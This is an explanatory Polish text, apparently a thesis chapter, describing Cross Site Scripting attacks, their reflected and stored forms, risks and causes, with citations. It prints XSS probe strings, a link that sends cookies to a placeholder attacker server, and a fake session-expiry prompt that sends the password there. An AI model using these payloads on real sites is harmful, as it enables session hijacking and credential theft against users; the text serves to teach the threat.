Cross Site Scripting (XSS) - zarys problemu

Cross Site Scripting (XSS¹), obok iniekcji kodu SQL, jest jednym z najbardziej znanych i rozpowszechnionych ataków na aplikacje bazodanowe dziaÅ‚ajÄ…ce w sieci Internet. W rankingu incydentów konsorcjum bezpieczeÅ„stwa stron WWW (Web Application Security Consortium) zajmuje pierwsze miejsce [WWW6]. ByÅ‚ szeroko opisywany nie tylko w mediach specjalistycznych, ale i w zwykÅ‚ej prasie i magazynach [Endl02, s.4]. SwojÄ… popularność zawdziÄ™cza miÄ™dzy innymi temu, że jego ofiarami padaÅ‚y nawet tak duże i popularne witryny internetowe jak Hotmail, eBay, Google czy Yahoo [Endl02, s.4; Alsh06a, s.54]. Podatność na Cross Site Scripting wykrywano także na stronach dużych zachodnich banków [WWW4]. Tym bardziej dziwi fakt, że temat ten jest w papierowych pozycjach książkowych czÄ™sto opisywany bardzo pobieżnie.

Atak typu Cross Site Scripting polega na iniekcji zÅ‚oÅ›liwego kodu w oryginalnÄ… treść strony. Aby agresor mógÅ‚ skutecznie wykorzystać takÄ… lukÄ™, użytkownik koÅ„cowy musi podjąć jakieÅ› dziaÅ‚ania - może to być klikniÄ™cie na spreparowanym Å‚Ä…czu lub odwiedzenie strony, w którÄ… wstrzykniÄ™to wrogi kod [ScSh02, s.291]. Kod ten jest najczęściej tworzony przy użyciu jÄ™zyka skryptowego JavaScript, ale równie dobrze mogÄ… być do tego wykorzystane także inne technologie wykonywane po stronie klienta, takie jak Ajax, VBScript czy Flash. Atak XSS jest o tyle specyficzny, że jego celem w pierwszej kolejnoÅ›ci nie jest witryna sama w sobie, lecz jej użytkownicy. Wykorzystane jest tutaj zaufanie, jakim korzystajÄ…cy ze strony jÄ… obdarza, natomiast sama strona staje siÄ™ nieÅ›wiadomym wspóÅ‚sprawcÄ… ataku [Gajd05, s.95]. Cross Site Scripting dotyka szczególnie te strony internetowe, gdzie zachodzi interakcja z użytkownikami lub też wyÅ›wietlane sÄ… jakiekolwiek dane pochodzÄ…ce z zewnÄ…trz, spoza aplikacji, np. fora internetowe, serwisy aukcyjne, sklepy internetowe z opcjÄ… komentowania i recenzowania produktów, systemy kont pocztowych dostÄ™pne przez protokóÅ‚ HTTP, otwarte systemy encyklopedyczne Wiki i wiele, wiele innych. Podatne mogÄ… być nawet moduÅ‚y wyszukiwania oraz strony wyÅ›wietlajÄ…ce komunikaty bÅ‚Ä™dów [OWASP04, s.11].

Cross Site Scripting pozwala napastnikowi miÄ™dzy innymi na wykradniÄ™cie wartoÅ›ci przechowywanych w ciasteczkach (ang. cookies). Najczęściej sÄ… one używane do identyfikacji użytkownika, dlatego zdobycie ich przez napastnika umożliwia przejÄ™cie sesji i konta, a w konsekwencji wykonanie okreÅ›lonych operacji z poziomem uprawnieÅ„ zalogowanego użytkownika [Alsh06a, s.54]. JeÅ›li ofiarÄ… jest administrator systemu skutki mogÄ… być bardzo poważne. XSS może także posÅ‚użyć do przekierowania użytkownika na innÄ… stronÄ™, instalacjÄ™ szkodliwego programu (konia trojaÅ„skiego), a także do zmieniania i faÅ‚szowania zawartoÅ›ci witryny [OWASP04, s.11]. Szczególnie nie należy lekceważyć tego ostatniego zagrożenia. PrzykÅ‚adowo modyfikacja wiadomoÅ›ci prasowej na witrynie może mieć wpÅ‚yw na zmianÄ™ ceny akcji danego przedsiÄ™biorstwa na gieÅ‚dzie czy też na poziom zaufania klientów wobec firmy [OWASP04, s.11].

Atak XSS skÅ‚ada siÄ™ z nastÄ™pujÄ…cych etapów [Gajd05, s.95; Zuch03] :

1. odnalezienie luki, a następnie przekazanie do aplikacji złośliwego kodu,

2. nieświadome pobranie i wykonania tego kodu przez ofiarę,

3. dodatkowe akcje wykonywane przez atakujÄ…cego.

Odnalezienie luki i sprawdzenie czy dana aplikacja jest podatna na Cross Site Scripting to niezbyt trudne zadanie. W wiÄ™kszoÅ›ci przypadków sprowadza siÄ™ do żmudnego wprowadzania w pola formularzy HTML odpowiednio przygotowanego kodu, np. [WWW5]

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fro mCharCode(88,83,83))//></script>!--<script>alert(String.fromCharCode(88,83,83))</script>=&{}

Wykonanie powyższych instrukcji jÄ™zyka JavaScript spowoduje wyÅ›wietlenie monitu z komunikatem o treÅ›ci "XSS" (jeÅ›li tylko wystÄ™puje podatność). Jeżeli pole do wprowadzania treÅ›ci w formularzu nie pozwala na umieszczenie w nim zbyt wielu znaków można skorzystać z nieco skróconej wersji [WWW5] :

 '';!--"<XSS>=&{()} 

W tym przypadku wystarczy zajrzeć do źródÅ‚a strony i zobaczyć czy w treÅ›ci wystÄ™puje ciÄ…g <XSS czy też &lt;XSS. Ten pierwszy oznacza, że witryna nie posiada odpowiednich filtrów danych wejÅ›ciowych i jest podatna na atak. Warto zaznaczyć, że caÅ‚a procedura sprawdzania wcale nie musi odbywać siÄ™ poprzez pola formularzy, czyli poprzez metodÄ™ HTTP POST. Równie dobrze można użyć żądania GET, np.

http://atakowana_strona/podstrona.php?komunikat=<script>alert("Podatne na atak XSS")</script>

W rezultacie powyższy kod wyÅ›wietli monit z komunikatem "Podatne na atak XSS", dziÄ™ki czemu atakujÄ…cy bÄ™dzie mógÅ‚ przejść do kolejnego etapu.

Po odnalezieniu luki napastnik może przystÄ…pić do ataku. Wyróżnia siÄ™ dwa podstawowe sposoby jego przeprowadzania : bezpoÅ›redni i trwaÅ‚y.

Atak bezpoÅ›redni² polega na dostarczeniu ofierze specjalnie spreparowanego odnoÅ›nika (linka), po którego klikniÄ™ciu użytkownik przechodzi na stronÄ™, a nastÄ™pnie przeglÄ…darka internetowa wykonuje zÅ‚oÅ›liwy kod znajdujÄ…cy siÄ™ w adresie URL [WASC04a, s.25]. Wbrew pozorom, skÅ‚onienie ofiary do uruchomienia takiego odnoÅ›nika nie wymaga szczególnie wymyÅ›lnych zabiegów. Najczęściej wysyÅ‚a siÄ™ e-mail o treÅ›ci zachÄ™cajÄ…cej do klikniÄ™cia w znajdujÄ…cy siÄ™ tam link, w zależnoÅ›ci od charakteru atakowanego serwisu może to być przykÅ‚adowo bardzo kuszÄ…ca promocja w sklepie internetowym, informacja o wygranej nagrodzie albo chociażby informacja o otrzymanej internetowej kartce pocztowej. Link ten może wyglÄ…dać nastÄ™pujÄ…co : [WASC04a, s.26]

http://atakowana_strona/?nazwa=<script>document.location="http://serwer_atakujacego/czytaj_cookies.php?cookie="+document.cookie</sc ript>

Uruchomienie powyższego odnośnika w efekcie spowoduje przekierowanie na serwer napastnika, gdzie zostanie przez niego odczytana wartość ciasteczka (cookie). Ponieważ przedstawiony adres URL może łatwo wzbudzić podejrzenia ofiary, często część adresu zawierająca kod JavaScript jest kodowana.

Rysunek 1: Przebieg ataku bezpośredniego Cross Site Scripting

W przypadku ataku trwaÅ‚ego³, zÅ‚oÅ›liwy kod zostaje wklejony bezpoÅ›rednio na stronÄ™ i w wyniku braku odpowiednich zabezpieczeÅ„ zostaje zapisany także w bazie danych. Ofiara zostaje zaatakowana w momencie odwiedzenia witryny. Wtedy przeglÄ…darka wykonuje kod wczeÅ›niej wstrzykniÄ™ty przez atakujÄ…cego [OWASP04, s.11]. W praktyce atak ten dotyka wszystkich, którzy odwiedzajÄ… danÄ… stronÄ™, przez co jego zakres jest o wiele wiÄ™kszy, a konsekwencje o wiele groźniejsze niż w przypadku ataku bezpoÅ›redniego. Jest także Å‚atwiejszy do przeprowadzenia, ponieważ napastnik wcale nie musi wysyÅ‚ać jakichkolwiek e-maili, ani nikogo przekonywać do wejÅ›cia na stronÄ™. Użytkownicy sami wpadajÄ… w puÅ‚apkÄ™ wykonujÄ…c zwyczajowe czynnoÅ›ci na witrynie. Z drugiej strony atak trwaÅ‚y jest też Å‚atwiejszy do wykrycia, gdyż administrator i użytkownicy mogÄ… odkryć w źródÅ‚ach wynikowej strony zÅ‚oÅ›liwy kod i przedsiÄ™wziąć odpowiednie kroki. W przypadku ataku bezpoÅ›redniego jest inaczej, kod zostaje wstrzykniÄ™ty tylko jednokrotnie, bezpoÅ›rednio po uruchomieniu spreparowanego odnoÅ›nika. Wrogi kod wykorzystywany w ataku trwaÅ‚ym może wyglÄ…dać nastÄ™pujÄ…co : [ScSh02, s.290]

<script>location.href="http://serwer_atakujacego/czytaj_haslo.php?haslo="+prompt("Skończył się czas Twojej sesji. Wpisz hasło, aby kontynuować.','');</script>

Efektem dziaÅ‚ania tego skryptu jest wyÅ›wietlenie faÅ‚szywego komunikatu o wygaÅ›niÄ™ciu sesji. Użytkownik jest proszony o podanie swojego hasÅ‚a, po czym nastÄ™pujÄ™ przekierowanie do serwera napastnika z hasÅ‚em użytkownika jako jednym z parametrów adresu.

Rysunek 2: Przebieg ataku trwałego Cross Site Scripting

Lista znaczników oraz atrybutów HTML, które mogÄ… być wykorzystane do przeprowadzania ataku Cross Site Scripting, zostaÅ‚a przedstawiona w tabelach 1 i 2.

Znacznik	Użycie	Zagrożenie
<SCRIPT>	Osadzanie skryptów JavaScript, Jscript, VBScript, itp.	Wykonanie wrogiego kodu
<APPLET>	Osadzanie apletów Javy	Wykonanie wrogiego kodu
<EMBED> <OBJECT>	Osadzanie zewnÄ™trznych obiektów. Kontrolki ActiveX, aplety, pluginy, itp.	Wykonanie wrogiego kodu
<XML>	Osadzanie kodu XML.	Wykonanie wrogiego kodu
<STYLE>	Osadzanie instrukcji arkuszy stylów CSS.	Może zawierać type=text/javascript (arkusz stylów JavaScript)

Tabela 1: Znaczniki HTML, które mogÄ… być wykorzystane do przeprowadzenia ataku XSS

ŹródÅ‚o: Opracowano na podstawie [EURO05]

Atrybut	Znaczniki	Wartość atrybutu	Pierwotne przeznaczenie
href	A, LINK	Adres URL	Odnośnik.
src	FRAME, IFRAME, INPUT type=image, BGSOUND, IMG	Adres URL	Odnośnik do innego dokumentu HTML lub obiektu, np. pliku graficznego lub muzycznego.
dynsrc	IMG	Adres URL	Odnośnik do filmu AVI.
lowsrc	IMG	Adres URL	Odnośnik do pliku graficznego.
zdarzenia JavaScript np. "onClick"	Niemal każdy znacznik	Kod JavaScript	Wykonanie kodu, kiedy nastąpi dane zdarzenie.
background	BODY, TABLE, TR, TD, TH	Adres URL	Odnośnik do obrazka używanego jak tło.
style="background-image: url(...)"	Niemal każdy znacznik	Adres URL	Odnośnik do pliku używanego w stylach.
style="behaviour:url(..)"	Niemal każdy znacznik	Adres URL	Odnośnik do pliku używanego w stylach.
style="binding:url(...)"	Niemal każdy znacznik	Adres URL	Odnośnik do pliku używanego w stylach.
style="width:expression(...)"	Niemal każdy znacznik	Wykonywalny kod	Wyrażenie JavaScript dynamicznie dostosowujące szerokość znacznika.
content="0;url=..."	META	Adres URL	Odnośnik do inego dokumentu HTML.

Tabela 2: Atrybuty HTML, które mogÄ… być wykorzystane do przeprowadzenia ataku XSS

ŹródÅ‚o: Opracowano na podstawie [EURO05]

Jak widać, w ataku XSS może być użytych wiele możliwych elementów poprzez nadużycie ich pierwotnego przeznaczenia. Zagrożeniem zwiÄ…zanym ze znacznikami HTML jest niemal zawsze wykonanie wrogiego kodu JavaScript. W przypadku, gdy wartoÅ›ciÄ… atrybutu jest adres URL, możliwe jest to dziÄ™ki użyciu protokoÅ‚u javascript, np. <a href="javascript:kod">odnosnik</a>.

Ostatnim etapem skutecznego ataku XSS jest wykonanie dodatkowych akcji przez atakujÄ…cego. Rozumie siÄ™ tutaj miÄ™dzy innymi przygotowanie specjalnego serwera i skryptu, który bÄ™dzie przechwytywaÅ‚ informacje od niczego nie spodziewajÄ…cych siÄ™ użytkowników [ScSh02, s.290]. Ich celem mogÅ‚oby być na przykÅ‚ad zapisywanie wartoÅ›ci ciasteczek w pliku lub w bazie, a nastÄ™pnie powiadomienie atakujÄ…cego o tym fakcie. W kolejnym kroku użytkownik może być przekierowany z powrotem na pierwotnÄ… stronÄ™. Co wiÄ™cej, przy wykorzystaniu technologii Ajax caÅ‚y proces odbywa siÄ™ dla ofiary zupeÅ‚nie niezauważony.

Opisany w tym podpunkcie schemat działania Cross Site Scripting wykorzystuje trzy potencjalnie luki w bezpieczeństwie aplikacji internetowej [Gajd05, s.95]:

1. aplikacja wpuszcza złośliwy kod - brak weryfikacji danych pochodzących od osoby atakującej,

2. aplikacja wypuszcza złośliwy kod - brak ponownej walidacji, czyli weryfikacji danych pochodzących z bazy danych zanim zostaną przekazane do przeglądarki i wyświetlone użytkownikowi,

3. przeglądarka klienta wykonuje złośliwy kod - ograniczona implementacja funkcji ochronnych w przeglądarkach dostępnych na rynku.

Istotne jest, że każda kolejna luka jest wynikiem braku odpowiednich zabezpieczeń eliminujących wcześniejsze podatności. Najważniejsza jest więc odpowiednia ochrona systemu w momencie przyjmowania danych zewnętrznych. Jeśli zostaną zaimplementowane odpowiednie funkcje zabezpieczeń na tym poziomie to programista nie musi się już martwić o to, jakiej przeglądarki internetowej używają osoby odwiedzające stronę oraz w jakim stopniu chroni ich ona przed atakami XSS.

Literatura

[Alsh05a] Alshanetsky I.: PHP Architect's Guide to PHP Security, Marco Tabini & Associates, Inc. 2005.

[Alsh06a] Alshanetsky I.: NiebezpieczeÅ„stwa ataków XSS i CSRF, PHP Solutions nr 2/2006, s.48-55.

[Endl02] Endler D.: The Evolution of Cross Site Scripting Attacks, iDEFENSE Labs 2002.

[EURO05] Filtering JavaScript to Prevent Cross-Site Scripting, EUROSEC GmbH Chiffriertechnik & Sicherheit 2005.

[Gajd05] Gajda W.: Ataki XSS oraz CSRF na aplikacje internetowe, Internet nr 7/2005, s.95-99.

[MMVEM04] Meier J.D., Mackman A., Vasireddy S., Escamilla R., Murukan A.: Udoskonalanie zabezpieczeÅ„ aplikacji i serwerów internetowych, Promise 2004.

[OWASP02] A Guide to Building Secure Web Applications, Version 1.1.1, The Open Web Application Security Projects 2002.

[ScSh02] Scambray J., Shema M.: Hakerzy - Aplikacje webowe, Translator 2002.

[WASC04a] Threat Classification, Web Application Security Consortium 2004. http://www.webappsec.org/projects/threat/v

[WWW4] Banki podatne na XSS. http://security.computerworld.pl/news/76431.html

[WWW5] XSS (Cross Site Scripting) Cheat sheet: Esp: for filter evasion, http://ha.ckers.org/xss.html

[WWW6] Web Application Security Consortium. http://www.webappsec.org/

[Zuch03] Zuchlinski G.: The Anatomy of Cross Site Scripting, 2003, http://www.net-security.org/article.php?id=596

1 PoczÄ…tkowo Cross Site Scripting w skrócie nazywano CSS, ale w zwiÄ…zku z faktem, że takiego samego akronimu używa siÄ™ na okreÅ›lenie kaskadowych arkuszy stylów (ang. Cascading Style Sheets), dla unikniÄ™cia nieporozumieÅ„ przyjÄ™to skrót XSS. Natomiast jeÅ›li chodzi o polski odpowiednik terminu Cross Site Scripting, to tylko w jednej pozycji książkowej [MMVEM04, s.22] zaproponowano enigmatycznie brzmiÄ…ce okreÅ›lenie "skryptowanie skroÅ›ne". W innych polskich pracach i przekÅ‚adach powszechnie używa siÄ™ nazwy angielskiej.

2 W literaturze dla okreÅ›lenia tego ataku używa siÄ™ nastÄ™pujÄ…cych angielskojÄ™zycznych terminów : direct attack [Alsh05a, s.54], non-persistent attack [WASC04a, s.25] oraz reflected attack [OWASP04, s.11].

3 W literaturze używa się następujących angielskojęzyczne określeń opisujące ten typ ataku : stored [Alsh05a, s.95; OWASP04, s.11], persistent [WASC04a, s.25], a także HTML Injection [Fuen05; Pett04].